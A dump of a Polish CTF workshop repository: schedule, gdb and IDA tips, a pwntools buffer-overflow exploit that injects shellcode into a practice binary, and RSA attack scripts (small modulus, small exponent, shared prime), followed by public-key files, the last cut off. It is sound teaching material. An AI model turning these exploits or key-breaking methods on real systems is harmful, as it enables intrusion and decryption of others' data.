├── 2016 ├── LICENSE ├── README.md ├── lab1.md ├── lab2.md ├── lab4 │ ├── README.md │ ├── common_prime │ │ ├── 1.pem │ │ ├── 10.pem │ │ ├── 100.pem │ │ ├── 11.pem │ │ ├── 12.pem │ │ ├── 13.pem │ │ ├── 14.pem │ │ ├── 15.pem │ │ ├── 16.pem │ │ ├── 17.pem │ │ ├── 18.pem │ │ ├── 19.pem │ │ ├── 2.pem │ │ ├── 20.pem │ │ ├── 21.pem │ │ ├── 22.pem │ │ ├── 23.pem │ │ ├── 24.pem │ │ ├── 25.pem │ │ ├── 26.pem │ │ ├── 27.pem │ │ ├── 28.pem │ │ ├── 29.pem │ │ ├── 3.pem │ │ ├── 30.pem │ │ ├── 31.pem │ │ ├── 32.pem │ │ ├── 33.pem │ │ ├── 34.pem │ │ ├── 35.pem │ │ ├── 36.pem │ │ ├── 37.pem │ │ ├── 38.pem │ │ ├── 39.pem │ │ ├── 4.pem │ │ ├── 40.pem │ │ ├── 41.pem │ │ ├── 42.pem │ │ ├── 43.pem │ │ ├── 44.pem │ │ ├── 45.pem │ │ ├── 46.pem │ │ ├── 47.pem │ │ ├── 48.pem │ │ ├── 49.pem │ │ ├── 5.pem │ │ ├── 50.pem │ │ ├── 51.pem │ │ ├── 52.pem │ │ ├── 53.pem │ │ ├── 54.pem │ │ ├── 55.pem │ │ ├── 56.pem │ │ ├── 57.pem │ │ ├── 58.pem │ │ ├── 59.pem │ │ ├── 6.pem │ │ ├── 60.pem │ │ ├── 61.pem │ │ ├── 62.pem │ │ ├── 63.pem │ │ ├── 64.pem │ │ ├── 65.pem │ │ ├── 66.pem │ │ ├── 67.pem │ │ ├── 68.pem │ │ ├── 69.pem │ │ ├── 7.pem │ │ ├── 70.pem │ │ ├── 71.pem │ │ ├── 72.pem │ │ ├── 73.pem │ │ ├── 74.pem │ │ ├── 75.pem │ │ ├── 76.pem │ │ ├── 77.pem │ │ ├── 78.pem │ │ ├── 79.pem │ │ ├── 8.pem │ │ ├── 80.pem │ │ ├── 81.pem │ │ ├── 82.pem │ │ ├── 83.pem │ │ ├── 84.pem │ │ ├── 85.pem │ │ ├── 86.pem │ │ ├── 87.pem │ │ ├── 88.pem │ │ ├── 89.pem │ │ ├── 9.pem │ │ ├── 90.pem │ │ ├── 91.pem │ │ ├── 92.pem │ │ ├── 93.pem │ │ ├── 94.pem │ │ ├── 95.pem │ │ ├── 96.pem │ │ ├── 97.pem │ │ ├── 98.pem │ │ ├── 99.pem │ │ └── flag.enc │ ├── hastad │ │ └── code.py │ ├── legion │ │ ├── code.py │ │ └── flag.txt │ ├── lsb_oracle │ │ ├── description.py │ │ ├── lsb.py │ │ ├── lsb_oracle.vmp.exe │ │ └── solve.py │ ├── male_jest_piekne │ │ ├── code.py │ │ └── flag.txt │ └── tpq │ │ ├── code.py │ │ ├── flag.txt │ │ └── priv_key.pem ├── lab6 │ ├── pwn9_exp.py │ ├── pwn9_payload │ └── pwn9_pwnme └── lab7.md ├── 2017 ├── Eskalacja-uprawnień.pdf ├── lab_dh │ ├── .gitignore │ ├── README.md │ ├── bob_alice.py │ ├── config.py │ ├── setup.sh │ ├── subgroups_confinement_config.txt │ ├── task1_sniffing.py │ ├── task2_mitm.py │ ├── task3_negotiated_parameters.py │ ├── task4_subgroup_confinement.py │ └── utils.py ├── lab_dh_done_on_labs │ ├── README.md │ ├── task2_mitm_solution.py │ └── task3_negotiated_parameters_solution.py └── warsztaty_ctf_mictocorruption.jpg └── README.md /2016/LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2016 Disconnect3d 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /2016/README.md: -------------------------------------------------------------------------------- 1 | # JHTC CTF Workshops / KNI Kernel AGH 2 | This repo contains materials from [Just Hit the Core CTF team](https://ctftime.org/team/13830/) workshops organized thanks to [KNI Kernel](https://www.facebook.com/KNIKernel/) at [AGH University of Science and Technology](http://www.agh.edu.pl/en/). 3 | 4 | As the workshops are in Polish, so are the materials here. 5 | 6 | --- 7 | 8 | ### Warsztaty w roku akademickim 2016/2017 9 | * [lab1 - 21.11.2016](lab1.md) - wstęp do niskopoziomowego RE/pwn, debugowanie natywnego kodu, ramki stosu, buffer overflow itd. 10 | * [lab2 - 28.11.2016](lab2.md) - dokończenie zadania z poprzednich warsztatów, pokazanie/omówienie ROPa, return2libc, roppera. 11 | * 5.12.2016 - brak warsztatów ze względu na konferencję Code Europe ([prelekcja o CTFach - zapraszam](https://www.codeeurope.pl/pl/prelegenci/dominik-czarnota#/szczegoly/53?_k=b0m12c)) 12 | * [lab4 - 19.12.2016](lab3.md) - zobaczenie narzędzia [Veles](https://codisec.com/veles/) oraz [kryptografia - RSA](lab3/README.md) 13 | * lab5 - 9.01.2017 - udział w prelekcji koła UKOD o nmap'ie; rozwiązywanie zadanek crypto z pwnerrank.com 14 | * lab6 - 16.01.2017 - prezentacja o hashah, zadanie ROP z pwnerrank.com (patrz lab6/) 15 | * lab7 - 23.01.2017 - przejrzenie zadań z kategorii Web oraz RE/pwn z [Teaser Insomni'Hack CTF](https://ctftime.org/event/382/tasks/). Między innymi: 16 | * omówienie architektury MIPS i tego jak zabrać się za inżynierię wsteczną binarek na nią (seria zadań bender_safe) 17 | * uzyskanie dostępu do niepoprawnie zabezpieczonego panelu administracyjnego serwera tomcat poprzez usługę proxy (zadanie smarttomcat) 18 | * analiza zapisu ruchu sieciowego (Wireshark; seria zadań Great Escape) 19 | * omówienie zabezpieczeń przeglądarek przed atakami XSS (nagłówki X-XSS-Protection, CSP, flagi ciasteczek HttpOnly oraz Secure; seria zadań Great Escape). 20 | * lab8 - rozbiórka routera, zabawa z jego bootloaderem, shellem, dump filesystemu 21 | * lab9 - 12.03.2017 - warsztaty całodniowe - inżynieria wsteczna i eksploitacja aplikacji na architekturę MIPS 22 | * kolejne spotkanie - ??? do ustalenia 23 | 24 | --- 25 | 26 | ### Chcesz dołączyć? 27 | 28 | Wymagania – przede wszystkim znajomość jakiegoś języka skryptowego (np. Python/Ruby) i chęć grania w CTFy. 29 | 30 | Poza tym jedna z trzech rzeczy: 31 | - podstawowa znajomość asemblera oraz znajomość C 32 | - znajomość jakichś technologii webowych + podstaw web security 33 | - znajomość podstaw kryptografii 34 | 35 | ### Rzeczy, które się przydadzą: 36 | * laptop; dobrze byłoby mieć Linuxa 37 | * Dostęp do sieci międzyuczelnianej eduroam (jeśli jesteś studentem) 38 | * Gdb, Python 39 | * Ida pro i/lub [Hopper](https://www.hopperapp.com/) 40 | * [pwndbg](https://github.com/pwndbg/pwndbg) 41 | * [pwntools do Pythona 2](https://github.com/Gallopsled/pwntools) 42 | * http://angr.io/ 43 | * [Z3](https://github.com/Z3Prover/z3) - do Pythona (chyba nie ma w pipie (menedżerze paczek Pythona)) 44 | * Jakieś proxy do webów - Burp Suite / Fiddler / ZAProxy 45 | 46 | ### Inne materiały do nauki..: 47 | - OverTheWire 48 | - pwnable.kr 49 | - rozwal.to 50 | - crackmes.de 51 | - https://cryptopals.com/ , kurs z crypto na Coursera 52 | -------------------------------------------------------------------------------- /2016/lab1.md: -------------------------------------------------------------------------------- 1 | 2 | Przerobione zadania: 3 | * http://re.disconnect3d.pl/logmein - proste zadanie z RE, które wymaga tak naprawdę zrobienia XORa dwóch stringów 4 | * http://re.disconnect3d.pl/easy - zadanie z PWN, nieskończone - **do dokończenia w domu** -- cel - uruchomienie shella (docelowo zadanie było hostowane na zdalnym serwerze) - tutaj warto jest [początkowo wyłaczyć ASLR](http://askubuntu.com/questions/318315/how-can-i-temporarily-disable-aslr-address-space-layout-randomization) 5 | 6 | Komendy GDB z skrótami/wyjaśnieniem: 7 | * r - run 8 | * c - continue 9 | * ni - next instruction 10 | * si - step instruction 11 | * p - print - tu można podać rejestr np. `print $eax` albo użyć wyrażenia, czy też castu z C - `print *((int*)$eax+3)` 12 | * i r - info registers 13 | * info frame - wyświetlanie informacji o ramce stosu 14 | * info functions [name] - wyświetlanie listy funkcji (lub filtrowanie gdy podamy nazwę) 15 | * b - stawianie breakpointa, gdy podajemy adres, należy poprzedzić go znakiem * 16 | * jmp - skok do danej funkcji/adresu (zmienia RIP/EIP) 17 | * x - "egzaminowanie" pamięci, wykorzystywane wraz z formatem - np. `x/16xw ` wyświetli 16 elementów dwubajtowych (specyfikator `w` - niefortunnie `word` w gdb to cztery bajty) z podanego adresu zapisanych heksadecymalnie (x) 18 | * bt 19 | 20 | Komendy pwndbg: 21 | * vmmap - wyświetlanie mapy pamięci (korzysta z `cat /proc//maps`) 22 | * search - szukanie w pamięci 23 | 24 | Losowe hinty do Ida Pro/Hopper: 25 | * Typy wyświetlane czasem przez Idę: BYTE (1B), WORD (2B), DWORD (4B), QWORD (8B) 26 | * Klawisz 'n' na symbolu - refaktoryzacja jego nazwy 27 | * Klawisz 'x' na symbolu - szukanie xrefów 28 | * Klawisz 'y' na symbolu - zmiana jego typu (dla zdekompilowanego kodu) 29 | 30 | ## Rzeczy do zrobienia/przeczytania przed kolejnymi warsztatami: 31 | * Wykłady z http://re.disconnect3d.pl/ 32 | * http://blog.exploitlab.net/2011/12/tutorials-to-refresh-your-fundamental.html 33 | * https://sploitfun.wordpress.com/2015/06/26/linux-x86-exploit-development-tutorial-series/ 34 | * Dokończenie zadania `easy`, które robiliśmy - w razie problemów, piszcie - poniżej kod, który napisaliśmy na warsztatach 35 | 36 | ```python 37 | from pwn import * 38 | 39 | p = process('./easy') 40 | print p.proc.pid 41 | pause() 42 | 43 | print p.recvuntil('Choose: ') 44 | 45 | def leak(index): 46 | p.sendline('3') 47 | p.recvuntil('view:') 48 | p.sendline(str(index)) 49 | p.recvuntil('Product ID: ') 50 | 51 | leak_id = p.recvuntil(', Product Code: ')[:-16] 52 | leak_code = p.recvuntil('There are ').replace('There are ','') 53 | leak = leak_code + p32(int(leak_id) & 0xffffffff) 54 | 55 | print "[+]Leak: "+ leak.encode('hex') 56 | return leak 57 | 58 | leak(-3) 59 | 60 | def add_product(prod_id, prod_code): 61 | p.sendline('1') # add record 62 | print p.recvuntil('Enter product ID: ') 63 | p.sendline(prod_id) 64 | print p.recvuntil('Enter product code: ') 65 | p.sendline(prod_code) 66 | 67 | for i in range(7): 68 | add_product(str(i), chr(ord('a')+i)*8) 69 | 70 | add_product('XxXx', 'abcdqwer') 71 | p.interactive() 72 | ``` 73 | -------------------------------------------------------------------------------- /2016/lab2.md: -------------------------------------------------------------------------------- 1 | 2 | Na warsztatach było trochę powtórki asm/re (można przejrzeć wykłady z http://re.disconnect3d.pl/), no i skończyliśmy eksploita z lab1, dla wyłączonego ASLR ([jak wyłączyć ASLR](http://askubuntu.com/questions/318315/how-can-i-temporarily-disable-aslr-address-space-layout-randomization)): 3 | 4 | ```python 5 | from pwn import * 6 | 7 | context(arch='i386',os='linux') 8 | shellcode = asm(shellcraft.sh()) 9 | # zamiast asm('nop') moze byc rownie dobrze 'a' 10 | # (chcemy zeby dlugosc shellcode byla rowna 6*12) 11 | shellcode += asm('nop') * (6*12 - len(shellcode)) 12 | 13 | buf_addr = 0xffffd63c # bez aslr mozna zaharkodowac adres... 14 | 15 | p = process('./easy') 16 | print p.proc.pid 17 | pause() 18 | 19 | print p.recvuntil('Choose: ') 20 | 21 | def leak(index): 22 | p.sendline('3') 23 | p.recvuntil('view:') 24 | p.sendline(str(index)) 25 | p.recvuntil('Product ID: ') 26 | 27 | leak_id = p.recvuntil(', Product Code: ')[:-16] 28 | leak_code = p.recvuntil('There are ').replace('There are ','') 29 | leak = leak_code + p32(int(leak_id) & 0xffffffff) 30 | 31 | print "[+]Leak: "+ leak.encode('hex') 32 | return leak 33 | 34 | leak(-3) 35 | 36 | def add_product(prod_id, prod_code): 37 | p.sendline('1') # add record 38 | print p.recvuntil('Enter product ID: ') 39 | p.sendline(prod_id) 40 | print p.recvuntil('Enter product code: ') 41 | p.sendline(prod_code) 42 | 43 | for i in range(6): 44 | # struktura produktu 45 | # 8 B | 4 B 46 | # product_code | product_id 47 | s = shellcode[i*12:i*12+12] 48 | product_code = s[:8] 49 | product_id = str(u32(s[8:])) 50 | add_product(product_id, product_code) 51 | 52 | # Zadziala bez ASLR. 53 | # Z ASLR adres bufora musimy pobrac poprzez funkcje `leak` 54 | # (gdyz jest on na stosie, a leak wykorzystuje 'View record' z programu) 55 | # (co pozwala nam na czytanie niektorych wartosci ze stosu, a adres bufora 56 | # jest rowniez na stosie) 57 | new_eip = str(buf_addr) 58 | add_product(new_eip, 'abcdqwer') 59 | 60 | p.sendline('4') # Quit program 61 | # breakpoint na instrukcje `ret` w main -> b *0x08049235 62 | 63 | p.interactive() 64 | ``` 65 | 66 | Trochę debugowaliśmy powyższy skrypt, np. żeby wstrzelić odpowiednio shellcode'a. 67 | 68 | W tym celu podpinaliśmy się przez gdb zdalnie do procesu (`sudo gdb ; attach ; ; continue`). 69 | 70 | ### Powtórka skrótów Ida Pro (częściowo też Hopper): 71 | - Typy wyświetlane czasem przez Idę: BYTE (1B), WORD (2B), DWORD (4B), QWORD (8B) 72 | - Klawisz 'n' na symbolu - refaktoryzacja jego nazwy 73 | - Klawisz 'x' na symbolu - szukanie xrefów 74 | - Klawisz 'y' na symbolu - zmiana jego typu (dla zdekompilowanego kodu) 75 | - Klawisz spacji będąc w kodzie asm - przełączanie się między widokiem grafu, a po prostu instrukcji (czasami graf nie działa) 76 | 77 | ### Omówione rzeczy: 78 | - ROP - tu można poczytać przykład https://0xabe.io/ctf/exploit/2016/03/07/Boston-Key-Party-pwn-Simple-Calc.html 79 | - ret2libc 80 | - GOT, PLT 81 | - poznawanie wersji libc na podstawie adresów 82 | 83 | ### Kolejne warsztaty - za 2 tygodnie - za tydzień jest CodeEurope. 84 | 85 | ### Zadanie domowe 86 | - przerobić eksploita, tak, żeby działał z włączonym ASLR (hint: trzeba zrobić memory leak'a; adres bufora znajduje się gdzieś na stosie, bo został przekazany do funkcji main). 87 | - zcrackować http://re.disconnect3d.pl/easy_crackme bez dekompilacji kodu i spróbować ręcznie odtworzyć kod programu w C 88 | -------------------------------------------------------------------------------- /2016/lab4/README.md: -------------------------------------------------------------------------------- 1 | ## [RSA](https://pl.wikipedia.org/wiki/RSA_(kryptografia)) 2 | 3 | RSA bazuje na problemie faktoryzacji liczb. Najszybszy znany algorytm (dla ogólnego przypadku) to General Number Field Sieve, inne [tutaj](http://stackoverflow.com/a/2274520). 4 | 5 | Pierwszy przedstawiony na warsztatach atak dotyczy użycia zbyt małego klucza (zadanie male_jest_piekne z pwning ctf autorstwa p4). Ponieważ n jest małe (263 bity, przy zalecanej wielkości >=2048 bitów) możemy je łatwo sfaktoryzować, korzystając na przykłaz z tej strony: 6 | 7 | ```python 8 | #!/usr/bin/env python 9 | # -*- coding: utf-8 -*- 10 | import gmpy2 11 | from Crypto.PublicKey import RSA 12 | from pwn import * 13 | 14 | 15 | n = 13513545201780754751363061730973412461964840798555163524204230289623875027547891 16 | p = 2425967623052370772757633156976982469681 17 | q = 5570373270183181665098052481109678989411 18 | e = 65537 19 | 20 | # obliczamy `d` bo jest potrzebne do deszyfrowania 21 | # d * e = phi(n) == ( (p-1) * (q-1) ) % n 22 | # 23 | # dwrotność modulo liczy się z rozszerzonego algorytmu Euklidesa 24 | # my skorzystamy z biblioteki gmpy2 25 | 26 | d = long(gmpy2.invert(e, (p-1)*(q-1))) 27 | 28 | key = RSA.construct((n, long(e))) 29 | 30 | # szyfrowanie : pow(m, e, n) --> 3ci arg to (mod n) 31 | # deszyfrowanie: pow(c, d, n) --> 3ci arg to (mod n) 32 | 33 | ciphertext = int(open('flag.txt').read(), 16) 34 | plaintext = pow(ciphertext, d, n) 35 | 36 | pt_str = pack(plaintext, 160, 'big') 37 | print "Decoded: ", pt_str 38 | ``` 39 | 40 | Kolejny atak wykorzystuje mały publiczny wykładnik (małe e). 41 | 42 | ```python 43 | message = 7106412 # "lol" - tego nie znamy, to jest szukane 44 | 45 | # Te rzeczy znamy (n,e) - klucz publiczny 46 | n = pierdolnie duża liczba 47 | e = 3 48 | ciphertext = pow(message, e, n) 49 | plaintext_decrypted = gmpy2.iroot(ciphertext, e)[0] # pierwiastek 3 stopnia 50 | ``` 51 | Ponieważ moduł (n) jest duży, a wykładnik (e) oraz plaintext są małe, zaszyfrowana wiadomość jest mniejsza od n i wystarczy obliczyć odpowiedni pierwiastek z szyfrogramu. W praktyce raczej nie spotykane, istnieją jednak inne ataki działające tylko dla małego e, np: 52 | 53 | * [Håstad's broadcast attack](https://en.wikipedia.org/wiki/Coppersmith's_attack) - pozwala odszyfrować wiadomość, jeśli została zaszyfrowana e razy różnymi kluczami 54 | * Franklin-Reiter related-message attack - podobnie jak wyżej, tylko wiadomości powiązane są znanym wielomianem 55 | 56 | Kolejne zadanie z warsztatów dotyczy wykorzystania tej samej liczby pierwszej w dwóch kluczach. 57 | 58 | Ktoś generuje klucze i wygenerował: 59 | 60 | ``` 61 | #!/usr/bin/env python 62 | n1 = p1 * q 63 | n2 = p2 * q 64 | ``` 65 | Zadanie `common_prime` - jest 100 kluczy publicznych, dwa z nich mają to samo `q`. 66 | 67 | ```python 68 | # coding: utf-8 69 | 70 | from itertools import combinations 71 | from Crypto.PublicKey import RSA 72 | import gmpy2 73 | import base64 74 | 75 | 76 | keys = {} 77 | 78 | for i in range(1, 101): 79 | # importujemy klucze publiczne 80 | key = RSA.importKey(open('./common_prime/%d.pem' % i).read()) 81 | keys[i] = key 82 | 83 | # n1 = p1 * q 84 | # n2 = p2 * q 85 | # liczymy dla wszystkich kombinacji kluczy gcd(n1, n2) jeżeli wynik jest różny od 1 to znaczy że dostaliśmy q! 86 | for (idx1, key1), (idx2, key2) in combinations(keys.items(), 2): 87 | n1, n2 = key1.n, key2.n 88 | 89 | gcd = gmpy2.gcd(n1, n2) 90 | 91 | if gcd != 1: 92 | print("Found n1, n2 collision") 93 | q = gcd 94 | 95 | p1 = n1 / q 96 | p2 = n2 / q 97 | print "p1 =", p1 98 | print "p2 =", p2 99 | print "Found in files:", idx1, idx2 100 | 101 | e1, e2 = key1.e, key2.e 102 | break 103 | 104 | # musimy zdeszyfrowac flage 105 | # szyfrowanie rsa: c = pow(m, e, n) 106 | # deszyfrowanie : m = pow(c, d, n) 107 | 108 | with open('./common_prime/flag.enc') as f: 109 | flag = base64.b64decode(f.read()) 110 | 111 | # Tworzymy klucze prywatne - zeby zdeszyfrowac flage 112 | 113 | # d = odwrotnosc e (mod fi(n)) 114 | # fi(n) = (p-1)*(q-1) 115 | d1 = long(gmpy2.invert(e1, (p1-1)*(q-1))) 116 | privkey1 = RSA.construct((n1, e1, d1)) 117 | 118 | d2 = long(gmpy2.invert(e2, (p2-1)*(q-1))) 119 | privkey2 = RSA.construct((n2, e2, d2)) 120 | 121 | # deszyfrujemy 122 | #print "Decrypted flag with privkey1:", privkey1.decrypt(flag) 123 | #print "Decrypted flag with privkey2:", privkey2.decrypt(flag) 124 | 125 | open('privkey1.pem', 'w').write(privkey1.exportKey()) 126 | open('privkey2.pem', 'w').write(privkey2.exportKey()) 127 | 128 | # $ openssl rsautl -inkey privkey2.pem -decrypt -in ./common_prime/flag_raw.enc -oaep 129 | # the_flag_is_b767b9d1fe02eb1825de32c6dacf4c2ef78c738ab0c498013347f4ea1e95e8fa 130 | ``` 131 | 132 | Flaga ```-oaep``` informuje o użytym "paddingu", w tym przypadku [Optimal Asymmetric Encryption Padding](https://pl.wikipedia.org/wiki/Optimal_Asymmetric_Encryption_Padding), lub PKCS#1 v2.0. 133 | 134 | Dwa główne zadania paddingu to: 135 | 136 | * zapewnienie losowości 137 | + bo wszystkie deterministyczne schematy szyfrowania nie są [semantycznie bezpiecznie](https://en.wikipedia.org/wiki/Semantic_security)) 138 | + bo czyste ("textbook") RSA jest [deformowalne](https://en.wikipedia.org/wiki/Malleability_(cryptography)) 139 | * sprawienie, że wiadomość jest "długa" 140 | 141 | Innym popularnym paddingiem jest PKCS#1v1.5. Jest on jednak mniej bezpieczny od wcześniejszego (zalecany jest OAEP), np. może być podatny na padding oracle attack. 142 | 143 | Lista ataków (niezupełna), jakby ktoś chciał się przygotować na ctfy ;) 144 | 145 | * Mały publiczny wykładnik (low public exponent): 146 | + szyfrogram mniejszy od modułu n 147 | + [Håstad's broadcast attack](https://en.wikipedia.org/wiki/Coppersmith's_attack) - pozwala odszyfrować wiadomość, jeśli została zaszyfrowana e razy różnymi kluczami 148 | + Franklin-Reiter related-message attack - podobnie jak wyżej, tylko wiadomości powiązane są znanym wielomianem liniowym 149 | + Coppersmith’s short-pad attack - jak wyżej, tylko użyty jest krótki losowy padding (zamiast stałego wielomianu). len(padding) < (1/e^2) * len(message) 150 | * Mały prywatny wykładnik (low private exponent): 151 | + [Wiener's attack](https://en.wikipedia.org/wiki/Wiener's_attack) - złamanie klucza, jeśli d < 1/3 * N^(1/4) 152 | + [Boneh-Durfee](https://crypto.stanford.edu/~dabo/papers/lowRSAexp.ps) - kiedy d < N^0.292 153 | * Część klucza lub wiadomości znana (partial key/message exposure): 154 | + [znana część d lub p](https://www.iacr.org/archive/crypto2003/27290027/27290027.pdf) - dla małych e wystarczy znać 1/4 MSB lub LSB d lub p, dla większych e ilość wymaganych znanych bitów rośnie 155 | + [znana jest część wiadomości](https://github.com/mimoo/RSA-and-LLL-attacks) - szukamy N^(1/e) wiadomości (m=m0+x0, |x0|<=N^(1/e)) 156 | * Błędy implementacji (side-channel attacks): 157 | + [ataki czasowe, SPA, DPA](http://www.nicolascourtois.com/papers/sc/sidech_attacks.pdf) 158 | + [wyrocznia wypełnienia/parzystości (Bleichenbacher's padding oracle / parity oracle)](http://secgroup.dais.unive.it/wp-content/uploads/2012/11/Practical-Padding-Oracle-Attacks-on-RSA.html) - jeśli serwer (lub inna wyrocznia) informuje nas o błędzie paddingu, możemy na tej podstawie zdeszyfrować dowolną wiadomość 159 | + [błędy obliczeń (faulty attacks)](https://www.iacr.org/workshops/ches/ches2011/presentations/Session%204/CHES2011_Session4_3.pdf) - jeśli serwer pomyli się w trakcie deszyfrowania/podpisywania wiadomości, jest szansa na złamanie klucza 160 | + [podrabianie sygnatur (bleichenbacher'06 signature forgery)](https://blog.filippo.io/bleichenbacher-06-signature-forgery-in-python-rsa) - mały publiczny wykładnik + zła implementacja funkcji weryfikującej podpisy umożliwia podrabianie sygnatur 161 | * Inne: 162 | + [oślepianie sygnatur (blinding)](https://en.wikipedia.org/wiki/Blind_signature#Dangers_of_blind_signing) - podrabianie podpisów wykrzystujące deformowalność RSA 163 | + Wspólna liczba pierwsza (common prime) - jeśli dwa klucze współdzielą liczbę pierwszą, możemy je złamać 164 | * Faktoryzacja: 165 | + [Fermata](https://en.wikipedia.org/wiki/Fermat's_factorization_method) - czynnik blisko pierwiastka z n 166 | + bazy liczb: 167 | + [Shora](https://en.wikipedia.org/wiki/Shor's_algorithm) - kwantowe czary-mary. Szybko faktoryzujemy liczby, więszkość obecnie używanych systemów (klucza publicznego) umiera (np. RSA, Diffie-Hellman, ElGamal, ECC, DSA). Przechodzimy na inne (np. McEliece, NTRU, HFE). Potem i tak zabijają nas zombie... A serio, to niektórzy podejżewają wejście komputerów kwantowych w tym półwieczu, więc "be ready" (niepotwierdzone info, nie mogę znaleźć linków). Źródła [tutaj](http://www.math.unicaen.fr/~nitaj/postquant.pdf) i [tutaj](https://pqcrypto.org) 168 | 169 | Do poczytania (oprócz linków w tekście): 170 | * [Twenty Years of Attacks on the RSA Cryptosystem](https://crypto.stanford.edu/~dabo/papers/RSA-survey.pdf) - Dana Boneha, klasyka 171 | * [Kurs tegoż pana na coursera.org](https://www.coursera.org/learn/crypto) 172 | * [Jeden z ciekawych blogów](https://www.cryptologie.net) 173 | * [więcej o SPA i DPA](http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.567.4078&rep=rep1&type=pdf) 174 | 175 | Do ćwiczeń i kodzenia (oprócz ctfów): 176 | * [zadania z Crypto Village DEFCON 2016](https://id0-rsa.pub) 177 | * [Wechall crypto](https://www.wechall.net/challs/Crypto/by/chall_score/ASC/page-1) 178 | * [CHARM](http://charm-crypto.com/index.html) 179 | * [SageMath](http://www.sagemath.org) - majca w pythonie :] -------------------------------------------------------------------------------- /2016/lab4/common_prime/1.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAzOx1XK5gHmUcM7KyziUe 3 | cERZmtowEVy4zvBHfbC1jt4TJMKGKuWXAWBJec2+J3jJBKOC2Dj5u4r0+9B2P1J1 4 | s4Ne+K3lNLR9YZuAUFXFn5hHKZBnnTH+n07DrqiWBNV+J2fX14IPRAV3n1xnXOB2 5 | sAjnyEvKhJCXxfK9W+FUgwr05vFFjFj4A+A2k8ngxCYC3yv1y/dZe//sfeZXOht9 6 | 8zLgUIR6OJqDRUGlDma7j7FEfomxa7paLfJOckSNWEopifGbk1bKnVSOErwB1bCQ 7 | lVwt0h8LaURmzOyoUiaAdA6UA1nam3Mj/FTuCL/PTPVPH/uRTIQLotezpR7QaBaJ 8 | wwIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/10.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAw97nLXg4FptqBDrwIIm3 3 | 9Usn+YAZwSLVSDnTo1e/Cn+EW3WBXYcql5iuL1EoYO+ldxbZ1erhrL2lhq1myADL 4 | EIkoj46QqbXnZENif+gRLgDk88IkyGX5ZUXr4gaOkquJNLBGR77kIZxzxDcCY3gx 5 | qcnNeebxcUimcA5THV6eKx+B9CejXJZd6gT4s70nePQB9EV3sG25FP/aQnK4t4Ci 6 | +mEvaIZhYEiB0bqRmo5fvTsgMffRR0UPVAEXvZIIZm3xIiZfbmLh8Z7z/kq+3sNA 7 | P2rfoxuzzdKZ9mSZAiLMxtlYWba3Mgxlf0Qw7TD1+8VPkepHojbcXjD3BV9FgrYm 8 | 5QIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/100.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAyiCHt6l0UVcciZLm5K87 3 | 477ArjbUo7iR0/LwJHci0Wxx04z6uM0MPKeCCDwDORdoWljMdYVbDMZHcOEkucyr 4 | 735D19pNLuQ0xhOs/rmWVfFIhWrEuuqHWDqW3LiHKOakxzLMsIeYIXcRmq023WCC 5 | dYeO05QwI3eFDjupmED5L7Uf28peit2HfQMB+28FF41WcWJiAe9FZgLoxDbLWuFS 6 | iRqm02iu9/88YmjjdY3siqa27WWoGNB8XXB4bxbakEN/+gqiEFYwu/07NMfPrbpX 7 | KidE3ZxdJsqTUGWDeGns2ub9cjkYKog/FFezZGOq8HINrWl3HUDQf/7NeE2iHgp7 8 | MQIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/11.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAud9O/UOD5KJiDG9Z/IUo 3 | 73aL2Ocqwdx/eoi7Oh0fUKrpC2+oEGkPD/4fM8eo+50fKhRi4lHOLROVAMMU7iZH 4 | BiAakp/jhMe2UvgC2FLVB8kJqAr6GrEo55BdLSxhtHt+9Zjj2ZgaywEFe48GZbgJ 5 | d7hVufslR5TdLYVbp1SVRvLlVkJBgcukVmi+0pp6FimfgNp+oXUlKfEX7VSdqGWh 6 | FGrM2qNAj32FCpGBqZ2spfHjErJbg94DoeQnfkgZfqnOh2RE/wN2QImTH7Tsl4zz 7 | 7RPAWxCnt7T6XRRLei8Ktyf2qJVgLcE5Dv6z5h+B8HtTHlqOjnuYg/mnxB4/05MM 8 | ZQIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/12.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnAnc3TrxDSM0i63aEMbf 3 | um869DF1hgZxSi3hMNoFL8r60TtEKh9JrDBFxBFsy1vBClpsJJX2zcYXW5o8fNnW 4 | SiOcTaYkheTIIM8v8u5eWjqGA3s5Qlg0l3UzWu9XjGyLDVLgu7mGOGuq153BmrF9 5 | 